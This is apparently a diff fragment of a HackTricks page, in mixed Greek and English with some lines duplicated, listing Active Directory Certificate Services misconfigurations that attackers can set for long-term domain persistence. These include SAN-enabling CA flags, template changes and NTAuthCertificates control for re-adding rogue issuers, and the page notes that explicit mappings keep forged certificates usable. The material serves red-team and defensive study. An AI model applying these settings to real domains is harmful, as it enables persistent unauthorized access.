Πρακτικοί ρυθμιστικοί μοχλοί που οι attackers μπορεί να ορίσουν για μακροχρόνια domain persistence (βλ. {{#ref}}domain-escalation.md{{#endref}} για πλήρεις λεπτομέρειες και detection):
|
||||
|
||||
- Flags πολιτικής CA που επιτρέπουν SAN από requesters (π.χ., ενεργοποίηση `EDITF_ATTRIBUTESUBJECTALTNAME2`). Αυτό κρατάει διαδρομές τύπου ESC1 εκμεταλλεύσιμες.
|
||||
- Template DACL ή ρυθμίσεις που επιτρέπουν issuance ικανό για authentication (π.χ., προσθήκη Client Authentication EKU, ενεργοποίηση `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Έλεγχος του `NTAuthCertificates` object ή των CA containers για συνεχή επανεισαγωγή rogue issuers εάν οι defenders επιχειρήσουν cleanup.
|
||||
- CA policy flags that allow SAN from requesters (e.g., enabling `EDITF_ATTRIBUTESUBJECTALTNAME2`). This keeps ESC1-like paths exploitable.
|
||||
- Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controlling the `NTAuthCertificates` object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
|
||||
|
||||
> [!TIP]
|
||||
> Σε hardened περιβάλλοντα μετά το KB5014754, ο συνδυασμός αυτών των misconfigurations με ρητά ισχυρά mappings (`altSecurityIdentities`) διασφαλίζει ότι τα εκδιδομένα ή πλαστογραφημένα πιστοποιητικά παραμένουν χρησιμοποιήσιμα ακόμη και όταν οι DCs εφαρμόζουν strong mapping.
|
||||
> Σε hardened περιβάλλοντα μετά το KB5014754, ο συνδυασμός αυτών των misconfigurations με ρητές ισχυρές αντιστοιχίσεις (`altSecurityIdentities`) εξασφαλίζει ότι τα issued ή forged certificates παραμένουν usable ακόμη και όταν οι DCs επιβάλλουν strong mapping.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
- Microsoft KB5014754 – Αλλαγές στην certificate-based authentication στους Windows domain controllers (enforcement timeline και strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference και χρήση forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user